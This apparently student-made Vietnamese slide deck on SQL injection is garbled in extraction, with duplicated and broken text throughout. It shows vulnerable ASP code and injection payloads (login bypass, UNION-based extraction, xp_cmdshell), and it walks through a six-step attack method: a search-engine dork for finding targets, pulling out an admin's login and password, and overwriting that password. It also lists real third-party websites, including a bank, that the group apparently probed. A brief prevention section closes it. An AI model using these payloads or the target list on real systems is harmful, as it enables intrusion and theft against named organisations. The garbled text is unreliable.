SQL INJECTION SQL INJECTION

ộN i dung trình bày: N i dung trình bày:

ạ ạ

ấ ấ

ằ ằ

SQL Injection là gì?   SQL Injection là gì? Các d ng t n công b ng SQL  Các d ng t n công b ng SQL

Injection Injection ỹ ỹ

ậ ấ ậ ấ

ằ ằ

K  Thu t t n công b ng sql injection K  Thu t t n công b ng sql injection Cách phòng tránh Cách phòng tránh DemoDemo

SQL Injection là gì? SQL Injection là gì?

ợ ụ ợ ụ

ỗ   ỗ

ệ ệ

ả ả

ậ ậ ỗ ủ ệ ỗ ủ ệ

ị i c a h  qu n tr   ị i c a h  qu n tr   onon) và thi hành  ) và thi hành

ấ ợ ấ ợ

ệ ệ ả ủ ả ủ

ấ ấ ể ự ể ự

ữ ữ ệ ệ

do có toàn quy n trên c  s  d  li u c a   do có toàn quy n trên c  s  d  li u c a

ậ ậ

ả ả

ữ ứ ườ ng x y ra trên các  ng d ng web có d   ườ ữ ứ ng x y ra trên các  ng d ng web có d   ả ả ả ả

ằ ằ

ụ ụ ị ơ ở ữ ệ c qu n lí b ng các h  qu n tr  c  s  d   ị ơ ở ữ ệ c qu n lí b ng các h  qu n tr  c  s  d

ộ ậ ấ  SQL injection là m t kĩ thu t t n công l SQL injection là m t kĩ thu t t n công l i d ng l ộ ậ ấ i d ng l ữ ệ ể ổ h ng trong vi c ki m tra d  li u nh p trong các  ữ ệ ể ổ h ng trong vi c ki m tra d  li u nh p trong các  ụ ứ ng d ng web và các thông báo l ụ ứ ng d ng web và các thông báo l ể ơ ở ữ ệ c  s  d  li u đ  "tiêm vào" (injecti ể ơ ở ữ ệ c  s  d  li u đ  "tiêm vào" (injecti các câu l nh SQL b t h p pháp. các câu l nh SQL b t h p pháp. ẻ ạ ậ  H u qu  c a nó r t tai h i vì nó cho phép nh ng k   H u qu  c a nó r t tai h i vì nó cho phép nh ng k   ậ ẻ ạ ệ ấ t n công có th  th c hi n các thao tác xóa, hi u  ệ ấ t n công có th  th c hi n các thao tác xóa, hi u  ơ ở ữ ệ ủ ỉ ề ỉch nh,  ơ ở ữ ệ ủ ề ch nh,  ụ ứ ụ ứ ng d ng, th m chí là server mà  ng d ng đó đang  ụ ứ ụ ứ ng d ng, th m chí là server mà  ng d ng đó đang  ch y. ạch y. ạ ỗ  L i này th L i này th ỗ ệ ượ li u đ ệ ượ li u đ ư ệ li u nh  SQL Server, MySQL, Oracle, DB2,  ư ệ li u nh  SQL Server, MySQL, Oracle, DB2,  Sysbase.  Sysbase.

(cid:0) (cid:0)

ằ ằ

ạ ạ

ấ ấ

Các d ng t n công b ng SQL Injection Các d ng t n công b ng SQL Injection

ể ể

ậ ậ

ồ ồ ng bao g m:  ng bao g m:

ườ ạ ố  Có b n d ng thông th Có b n d ng thông th ườ ạ ố ượ  V t qua ki m tra lúc đăng nh p (authorization  V t qua ki m tra lúc đăng nh p (authorization  ượ bypass) bypass) ệ ử ụ  S  d ng câu l n SELECT  S  d ng câu l n SELECT  ệ ử ụ ệ ử ụ  S  d ng câu l nh INSERT  S  d ng câu l nh INSERT  ệ ử ụ ử ụ  S  d ng các stored­procedures [2], [3] S  d ng các stored­procedures [2], [3] ử ụ

ạ ạ

ượ ượ

ấ D ng t n công v ấ D ng t n công v

ể t qua ki m tra  ể t qua ki m tra

ệ ệ i khi dùng các câu l nh  i khi dùng các câu l nh

ơ ở ữ ệ ủ ứ ơ ở ữ ệ ủ ứ

ườ ườ ợ ợ

ng h p này, ng ng h p này, ng ộ ộ

ậ ậ

đăng nh pậ    đăng nh pậ ỗ ờ ậ  Đăng nh p nh  vào l Đăng nh p nh  vào l ỗ ờ ậ SQL thao tác trên c  s  d  li u c a  ng  SQL thao tác trên c  s  d  li u c a  ng  ụ ụd ng web.  d ng web.  ể ườ  Trong tr Trong tr i ta có th  dùng  ể ườ i ta có th  dùng  ị ể ể hai trang, m t trang HTML đ  hi n th  form  ị ể ể hai trang, m t trang HTML đ  hi n th  form  ể ử ộ ệ nh p li u và m t trang ASP dùng đ  x  lí  ể ử ộ ệ nh p li u và m t trang ASP dùng đ  x  lí  ụ ậ ừ i dùng. Ví d :   phía ng thông tin nh p t ụ ậ ừ i dùng. Ví d :   phía ng thông tin nh p t

ườ ườ

login.htm  login.htm

    Username:   
  name="fUSRNAME">

Password:   
  name="fPASSWORD">

     

execlogin.asp  execlogin.asp  <% <%

Dim vUsrName, vPassword, objRS, strSQL vUsrName =  Dim vUsrName, vPassword, objRS, strSQL vUsrName =  Request.Form("fUSRNAME") vPassword =  Request.Form("fUSRNAME") vPassword =  Request.Form("fPASSWORD")  Request.Form("fPASSWORD")

"WHERE  "WHERE

strSQL = "SELECT * FROM T_USERS " & _  strSQL = "SELECT * FROM T_USERS " & _  USR_NAME=' " & vUsrName & _  USR_NAME=' " & vUsrName & _

" ' and USR_PASSWORD=' " & vPassword & " ' “ " ' and USR_PASSWORD=' " & vPassword & " ' “

Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open  Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open  strSQL, "DSN=..."  strSQL, "DSN=..."  If (objRS.EOF) Then  If (objRS.EOF) Then

Response.Write "Invalid login."  Response.Write "Invalid login."

Else Else

Response.Write "You are logged in as " &  Response.Write "You are logged in as " &

objRS("USR_NAME")  objRS("USR_NAME")  End If      End If

Set objRS = Nothing %>  Set objRS = Nothing %>

ỗ ỗ ậ ậ

ủ ủ

ấ ẽ ượ ọ ấ ẽ ượ ọ

ợ ệ ợ ệ và s  tr  v  t  và s  tr  v  t

ườ ườ

ả ườ  Ng i dùng  nh p chu i sau vào trong c  2 ô  Ng ả ườ i dùng  nh p chu i sau vào trong c  2 ô  ệ ậ nh p li u username/password c a trang   ệ ậ nh p li u username/password c a trang   login.htm là: ' OR ' ' = '  ' OR ' ' = ' . .  login.htm là:  ệ ự  Lúc này, câu truy v n s  đ c g i th c hi n  Lúc này, câu truy v n s  đ ệ ự c g i th c hi n  là: SELECT * FROM T_USERS WHERE  là:  SELECT * FROM T_USERS WHERE  USR_NAME ='' OR ''='' and  USR_NAME ='' OR ''='' and  USR_PASSWORD= '' OR ''=''  USR_PASSWORD= '' OR ''=''  ẽ ả ề ấ ấ  Câu truy v n này là h p l t  Câu truy v n này là h p l ẽ ả ề ấ ấ t  ạ ủ ả ả c  các b n ghi c a T_USERS và đo n mã  ạ ủ ả ả c  các b n ghi c a T_USERS và đo n mã  ấ ậ ườ ử ế i dùng đăng nh p b t  ti p theo x  lí ng ấ ậ ườ ử ế i dùng đăng nh p b t  ti p theo x  lí ng ậ ư ợ i dùng đăng nh p  h p pháp này nh  là ng ậ ư ợ i dùng đăng nh p  h p pháp này nh  là ng ợ ệ .  h p l ợ ệ h p l .

ạ ạ

ấ ấ

ệ ệ

ử ụ D ng t n công s  d ng câu l nh  ử ụ D ng t n công s  d ng câu l nh  SELECT   SELECT ể ấ ể ấ

ệ ượ ệ ượ ả ả ả ả

ơ ở ơ ở i t i t

ở ầ ở ầ

ườ ườ ủ ủ ẽ ẽ ậ ậ

ể ể

ẻ ể ự  Đ  th c hi n đ c ki u t n công này, k   Đ  th c hi n đ ẻ ể ự c ki u t n công này, k   ợ ụ ể ấ i d ng  t n công ph i có kh  năng hi u và l ợ ụ ể ấ t n công ph i có kh  năng hi u và l i d ng  ỗ ừ ệ ố  h  th ng  các s  h  trong các thông báo l ỗ ừ ệ ố  h  th ng  các s  h  trong các thông báo l ệ ế ể ể đ  dò tìm các đi m y u kh i đ u cho vi c  ệ ế ể ể đ  dò tìm các đi m y u kh i đ u cho vi c  ấ ất n công.  t n công.  ộ  Thông th ng, s  có m t trang nh n ID c a    Thông th ộ ng, s  có m t trang nh n ID c a    ị ồ ầ  tin    c n    hi n    th     r i    sau    đó    truy     ị ồ ầ  tin    c n    hi n    th     r i    sau    đó    truy     ủ ộ ấ v n    n i    dung    c a    tin    có    ID    này.  ủ ộ ấ v n    n i    dung    c a    tin    có    ID    này.

 <% <%

Dim vNewsID, objRS, strSQL  Dim vNewsID, objRS, strSQL  vNewsID = Request("ID")  vNewsID = Request("ID")  strSQL = "SELECT * FROM T_NEWS  strSQL = "SELECT * FROM T_NEWS  WHERE NEWS_ID =" & vNewsID  WHERE NEWS_ID =" & vNewsID  Set objRS =  Set objRS =  Server.CreateObject("ADODB.Recordset")  Server.CreateObject("ADODB.Recordset")  objRS.Open strSQL, "DSN=..."  objRS.Open strSQL, "DSN=..."  Set objRS = Nothing  Set objRS = Nothing

%> %>

ẽ ả ề ấ ả t c   ẽ ả ề ấ ả t c   ệ ệ ẽ ự ẽ ự ữ ệ ữ ệ b ng d  li u vì nó s  th c hi n   b ng d  li u vì nó s  th c hi n

ấ  Câu truy v n SQL lúc này s  tr  v  t Câu truy v n SQL lúc này s  tr  v  t ấ ừ ả các article t ừ ả các article t câu l nh:ệ câu l nh:ệ

SELECT * FROM T_NEWS WHERE  SELECT * FROM T_NEWS WHERE

NEWS_ID=0 or 1=1   NEWS_ID=0 or 1=1

ệ ệ

ế ế

ẽ ự ẽ ự ữ ữ

ấ ả ấ ả

ữ ệ ữ ệ

ượ ượ

ệ ệ

 '' UNION SELECT ALL SELECT OtherField   UNION SELECT ALL SELECT OtherField           (*)  FROM OtherTable WHERE ' ' ' '==''         (*)  FROM OtherTable WHERE ầ ấ  Lúc này, ngoài câu truy v n đ u không thành công,  Lúc này, ngoài câu truy v n đ u không thành công,  ầ ấ ệ ươ ng trình s  th c hi n thêm l nh ti p theo sau  ch ệ ươ ch ng trình s  th c hi n thêm l nh ti p theo sau  ừ  khóa UNION n a.  t ừ t  khóa UNION n a.  ế  N u chúng ta thêm '  UNION  SELECT  name   ếN u chúng ta thêm '  UNION  SELECT  name    là có th  ể FROM  sysobjects  WHERE  xtype  =  'U' là có th  ể FROM  sysobjects  WHERE  xtype  =  'U' li li

ả t c  các b ng d  li u.  ả t c  các b ng d  li u.

c tên t c tên t

t kê đ t kê đ

ạ ạ

ấ ấ

ệ ệ

ứ ứ

ể ể c dùng khi h  th ng không ki m tra  c dùng khi h  th ng không ki m tra

ử ụ D ng t n công s  d ng câu l nh  ử ụ D ng t n công s  d ng câu l nh  INSERT   INSERT ế ể  Ch c năng không th  thi u là sau khi đăng kí  Ch c năng không th  thi u là sau khi đăng kí  ế ể ệ ể ườ i dùng có th  xem và hi u  thành công, ng ệ ườ ể i dùng có th  xem và hi u  thành công, ng ủ ỉ ch nh thông tin c a mình. SQL injection có  ủ ỉ ch nh thông tin c a mình. SQL injection có  ể ượ th  đ ể ượ th  đ tính h p l tính h p l

ợ ệ ủ ợ ệ ủ ậ ậ ệ ố ệ ố  c a thông tin nh p vào.   c a thông tin nh p vào.

ộ ộ

ệ ệ

ể ể

ụ ụ

ạ ạ

ế ế

ệ ệ

Set objRS =   Set objRS =

 Ví d , m t câu l nh INSERT có th  có cú pháp  Ví d , m t câu l nh INSERT có th  có cú pháp  ạ ạd ng:  INSERT INTO TableName VALUES('Value  d ng:  INSERT INTO TableName VALUES('Value  One', 'Value Two', 'Value Three'). N u đo n mã xây  One', 'Value Two', 'Value Three'). N u đo n mã xây  ạ ự d ng câu l nh SQL có d ng :  ạ ự d ng câu l nh SQL có d ng :   <% strSQL = "INSERT INTO TableName  <% strSQL = "INSERT INTO TableName  VALUES(' " & strValueOne & " ', ' " _ &  VALUES(' " & strValueOne & " ', ' " _ &  strValueTwo & " ', ' " & strValueThree & " ') " Set  strValueTwo & " ', ' " & strValueThree & " ') " Set  objRS = Server.CreateObject("ADODB.Recordset")  objRS = Server.CreateObject("ADODB.Recordset")  objRS.Open strSQL, "DSN=..." (cid:0) objRS.Open strSQL, "DSN=..."  Nothing %>  Nothing %>

(cid:0)

ấ ấ

ạ ạ

ệ ấ ệ ấ

ẽ ẽ ự c th c thi  ự c th c thi

ạ ấ ớ ạ ấ ớ ề ề ụ ế ụ ế ạ ạ

ệ ệ

ệ ố ệ ố ổ ổ

ử ụ D ng t n công s  d ng stored­ ử ụ D ng t n công s  d ng stored­ procedures   procedures ằ  Vi c t n công b ng stored­procedures s  gây  Vi c t n công b ng stored­procedures s  gây  ằ ế ứ ụ ượ tác h i r t l n n u  ng d ng đ ế ứ ụ ượ tác h i r t l n n u  ng d ng đ ị ệ ố  'sa' ả ớ  'sa'.. v i quy n qu n tr  h  th ng ị ệ ố ả ớ v i quy n qu n tr  h  th ng ạ    Ví d , n u ta thay đo n mã tiêm vào d ng: Ví d , n u ta thay đo n mã tiêm vào d ng: ạ  '    '         ;  EXEC  xp_cmdshell  'cmd.exe dir C: '.      ;  EXEC  xp_cmdshell  'cmd.exe dir C: '. ẽ ự ệ ệ  Lúc này h  th ng s  th c hi n l nh li t kê  Lúc này h  th ng s  th c hi n l nh li ẽ ự ệ ệ t kê  ệ ặ ư ụ  đĩa C:\ cài đ t server. Vi c  th  m c trên  ệ ư ụ ặ th  m c trên   đĩa C:\ cài đ t server. Vi c  ỳ ể ạ phá ho i ki u nào tu  thu c vào câu l nh  ỳ ể ạ phá ho i ki u nào tu  thu c vào câu l nh  ằ ằđ ng sau cmd.exe.  đ ng sau cmd.exe.

ệ ệ ộ ộ

ậ ấ ậ ấ

ằ ằ

ỹ ỹ

K  Thu t t n công b ng sql injection K  Thu t t n công b ng sql injection

ế ế

ướ ướ ướ ướ ướ ướ

ủ ủ ị ị

ọ ọ

ậ ậ ế ế ử ử ả ả ụ  B c 1: Tìm ki m m c tiêu. B c 1: Tìm ki m m c tiêu. ụ ỗ ế ủ ể  B c 2: Ki m tra ch  y u c a trang web B c 2: Ki m tra ch  y u c a trang web ỗ ế ủ ể ậ  B c 3: Nh n data qua ‘database using  B c 3: Nh n data qua ‘database using  ậ ODBC error message’ ODBC error message’ ướ  B c 4: Xác đ nh tên c a các column trong  B c 4: Xác đ nh tên c a các column trong  ướ table table ữ ệ ướ  B c 5: Thu th p các d  li u quan tr ng. B c 5: Thu th p các d  li u quan tr ng. ữ ệ ướ ướ  B c 6: X  lý k t qu  tìm đ B c 6: X  lý k t qu  tìm đ ướ ượ c ượ c

ụ ụ

ế ế

Tìm ki m m c tiêu Tìm ki m m c tiêu

ạ ạ ể ể ấ ỳ ộ ấ ỳ ộ

ư ư

ạ ạ ạ ạ i cho  i cho

 B n có th  dùng các b t k  m t search­ B n có th  dùng các b t k  m t search­ ạ engine nào trên m ng nh  các trang login,  ạ engine nào trên m ng nh  các trang login,  search, feedback… search, feedback… ể  B n có th  “custome Search Engine” l B n có th  “custome Search Engine” l ể ầ ủ ạ ớ phù h p v i yêu c u c a b n ầ ủ ạ ớ phù h p v i yêu c u c a b n

ợ ợ

ự ự

ệ ệ

ệ ệ

 Th c hi n câu l nh search: Th c hi n câu l nh search:  inurl:php?id= site:com.vn inurl:php?id= site:com.vn

ả ả ượ ượ ế Đây là k t qu  thu đ ế Đây là k t qu  thu đ c. c.

ượ ủ ượ ủ

ế ế

ả ả

K t Qu  Tìm Đ c C a Nhóm K t Qu  Tìm Đ c C a Nhóm

 http://www.vsmc.com.vn/news_detail.php?id=19' http://www.vsmc.com.vn/news_detail.php?id=19'  http://www.toeic.com.vn/info/details.php?id=383' http://www.toeic.com.vn/info/details.php?id=383'  http://www.phanhoadigi.com.vn/list_product.php? http://www.phanhoadigi.com.vn/list_product.php? ID=1173&namecate=EOS' ID=1173&namecate=EOS'  http://forum.key.com.vn/viewtopic.php?id=362 http://forum.key.com.vn/viewtopic.php?id=362  http://www.biconsi.com.vn/index.php?id=36' http://www.biconsi.com.vn/index.php?id=36'  http://www.vietphone.com.vn/download.php?mode=download&id=19' http://www.vietphone.com.vn/download.php?mode=download&id=19'  http://thammyvienthanhbinh.com.vn/detail.php?id=19' http://thammyvienthanhbinh.com.vn/detail.php?id=19'  http://www.voip.com.vn/download.php?mode=download&id=28' http://www.voip.com.vn/download.php?mode=download&id=28'

 http://bidv.com.vn/advert.asp?id=36' http://bidv.com.vn/advert.asp?id=36'  http://www.licogi.com.vn/home.asp?ID=234&Langid=2%27 http://www.licogi.com.vn/home.asp?ID=234&Langid=2%27  http://www.galilcol.ac.il/page.asp?id=17 http://www.galilcol.ac.il/page.asp?id=17‘‘ ấ ả  Ghi chú: không ph i trang nào cũng t n công đ Ghi chú: không ph i trang nào cũng t n công đ ấ ả

ượ c ượ c

ể ể

ộ ố ệ ộ ố ệ ể ề ể ề

ặ ặ

ệ ỗ i. ệ ỗ i. ộ ố ộ ố ệ ỗ i  ệ ỗ i

ỗ ế ủ ỗ ế ủ Ki m tra ch  y u c a trang  Ki m tra ch  y u c a trang  webweb ạ  B n có th  đi n thêm m t s  l nh trên url,  B n có th  đi n thêm m t s  l nh trên url,  ạ ặ ho c trên các from login, search, ho c search  ặ ho c trên các from login, search, ho c search  ể đ  phát hi n l ể đ  phát hi n l  Sau đây là m t s  cách thêm và phát hi n l Sau đây là m t s  cách thêm và phát hi n l ủ ủc a nhóm mình: c a nhóm mình:

ề ề c quan tr ng nh t và đòi h i nhi u  c quan tr ng nh t và đòi h i nhi u

ậNh n data qua ‘database using  Nh n data qua ‘database using  ODBC error message’ ODBC error message’ ỏ ấ ướ ỏ ấ ướ ề ơ ở ữ ệ ậ ẫ ự ề ơ ở ữ ệ ậ ẫ ự

ứ ứ

ủ ấ ả ủ ấ ả ư ư ể ể

ọ  Đây là b Đây là b ọ ể kĩ thu t l n s  am hi u v  c  s  d  li u. ể kĩ thu t l n s  am hi u v  c  s  d  li u.  Table INFORMATION_SCHEMA.COLUMNS  Table INFORMATION_SCHEMA.COLUMNS  ạ t c  các column trong table. B n  ch a tên c a t ạ t c  các column trong table. B n  ch a tên c a t có th  khai thác nh  sau: có th  khai thác nh  sau:  UNION SELECT  http://vitcon/index.asp?id=10 UNION SELECT  http://vitcon/index.asp?id=10 TOP 1 COLUMN_NAME FROM  TOP 1 COLUMN_NAME FROM  INFORMATION_SHEMA.COLUMNS  INFORMATION_SHEMA.COLUMNS  WHERE TABLE_NAME=‘admin_login’­­ WHERE TABLE_NAME=‘admin_login’­­

Out put: Out put:

 Microsoft OLE DB Provider for ODBC  Microsoft OLE DB Provider for ODBC  Drivers error ‘80040e07’[Microsoft][ODBC  Drivers error ‘80040e07’[Microsoft][ODBC  SQL Server Driver][SQL Server]ORDER BY  SQL Server Driver][SQL Server]ORDER BY  items must appear in the select list if the  items must appear in the select list if the  statement contains a UNION operator. statement contains a UNION operator.  /index.asp, line 5 /index.asp, line 5

ậ ậ

ữ ệ ữ ệ

 http://vitcon/index.asp?id=10

ủ ủ c các tên c a các  c các tên c a các

Thu th p các d  li u quan  Thu th p các d  li u quan  tr ngọtr ngọ ượ ị ả  Chúng ta ph i xác đ nh đ Chúng ta ph i xác đ nh đ ượ ị ả table và column quan tr ng.ọ table và column quan tr ng.ọ ầ ể ấ  Chúng ta có th  l y login_name đ u tiên  Chúng ta có th  l y login_name đ u tiên  ầ ể ấ ư trong table “admin_login” nh  sau: ư trong table “admin_login” nh  sau: http://vitcon/index.asp?id=10 UNION   UNION  SELECT TOP 1 login_name From  SELECT TOP 1 login_name From  admin_login— admin_login—

ầ ầ ậ ậ ạ ạ ễ ễ c admin user đ u  c admin user đ u

 http://vitcon/index.asp?id=10

ượ ể ượ ể c đ  tìm  c đ  tìm

ờ ạ ẽ ờ ạ ẽ ậ ượ ậ ượ b n s  nh n đ  b n s  nh n đ c password c a  c password c a

ượ  B n d  dàng nh n ra đ B n d  dàng nh n ra đ ượ tiên có login_name là ‘aaa’. tiên có login_name là ‘aaa’.  Sau đó dung tên user tìm đ Sau đó dung tên user tìm đ password: password: http://vitcon/index.asp?id=10 UNION   UNION  SELECT TOP 1 password FROM  SELECT TOP 1 password FROM  admin_login where login _name=‘aaa’— admin_login where login _name=‘aaa’— ủ  Bây gi Bây gi ủ ‘aaa’ là ‘bbb’. ‘aaa’ là ‘bbb’.

ử ử

ế ế

ả ả

X  lý k t qu  tìm đ X  lý k t qu  tìm đ

ượ ượ c c

ạ ạ

ổ ổ

ể ể

ạ ạ

ệ ướ ệ ướ

ự ự

i   i

ặ ạ ặ ạ ề

ủ ấ ả  Khi b n đã có tên c a t t c  các column trong table,  Khi b n đã có tên c a t ủ ấ ả t c  các column trong table,  ớ ộ ặ ể ạ b n có th  UPDATE ho c INSERT m t record m i  ớ ộ ặ ể ạ b n có th  UPDATE ho c INSERT m t record m i  vào table này. vào table này. ư ủ ể  Đ  thay đ i password c a ‘aaa’ b n có th  làm nh   Đ  thay đ i password c a ‘aaa’ b n có th  làm nh   ể ư ủ sau: sau:  http://vitcon/index.asp?id=10 ;UPDATE  http://vitcon/index.asp?id=10 ;UPDATE  ‘admin_login’ SET ‘password’ =‘ccc’ WHERE  ‘admin_login’ SET ‘password’ =‘ccc’ WHERE  login_name=‘aaa’–  login_name=‘aaa’–  ự ế  Ho c b n login tr c ti p vào và th c hi n d Ho c b n login tr c ti p vào và th c hi n d ự ế ềquy n user đó. quy n user đó.

Cách phòng tránh Cách phòng tránh

ặ ặ ẽ ẽ

ế ế

ử ụ ử ụ ụ ụ

ườ ườ ứ ứ

ề ề

ư ư ệ ạ ệ ạ ế ế ơ ế ể ớ ầ  C n có c  ch  ki m soát ch t ch  và gi i  C n có c  ch  ki m soát ch t ch  và gi ơ ế ể ớ ầ i  ề ử ườ ả ữ ệ ạ i  h n quy n x  lí d  li u đ n tài kho n ng ề ử ườ ả ữ ệ ạ h n quy n x  lí d  li u đ n tài kho n ng i  ứ dùng mà  ng d ng web đang s  d ng. ứ dùng mà  ng d ng web đang s  d ng. ụ  Các  ng d ng thông th Các  ng d ng thông th ng nên tránh dùng  ụ ng nên tránh dùng  ề ế đ n các quy n nh  dbo hay sa. Quy n càng  ề ế đ n các quy n nh  dbo hay sa. Quy n càng  ị ạ t h i càng ít.  b  h n ch , thi ị ạ b  h n ch , thi t h i càng ít.

ậ ậ ạ ỏ ấ ạ ỏ ấ

ố ố

ứ ứ

ườ ườ ế ộ t l ế ộ t l

ng ti ng ti ẻ ấ ẻ ấ ậ ậ t kĩ thu t có th  cho phép k  t n công bi t kĩ thu t có th  cho phép k  t n công bi các chi   các chi  ế t  ế t

ế ủ ệ ố ế ủ ệ ố ể ể ứ  Lo i b  b t kì thông tin kĩ thu t nào ch a  Lo i b  b t kì thông tin kĩ thu t nào ch a  ứ ệ ườ ể i  trong thông đi p chuy n xu ng cho ng ệ ườ ể i  trong thông đi p chuy n xu ng cho ng ỗ ụ i. dùng khi  ng d ng có l ỗ ụ i. dùng khi  ng d ng có l ỗ  Các thông báo l Các thông báo l i thông th ỗ i thông th ể ế ti ể ế ti ượ c đi m y u c a h  th ng.  đ ượ đ c đi m y u c a h  th ng.

DEMO DEMO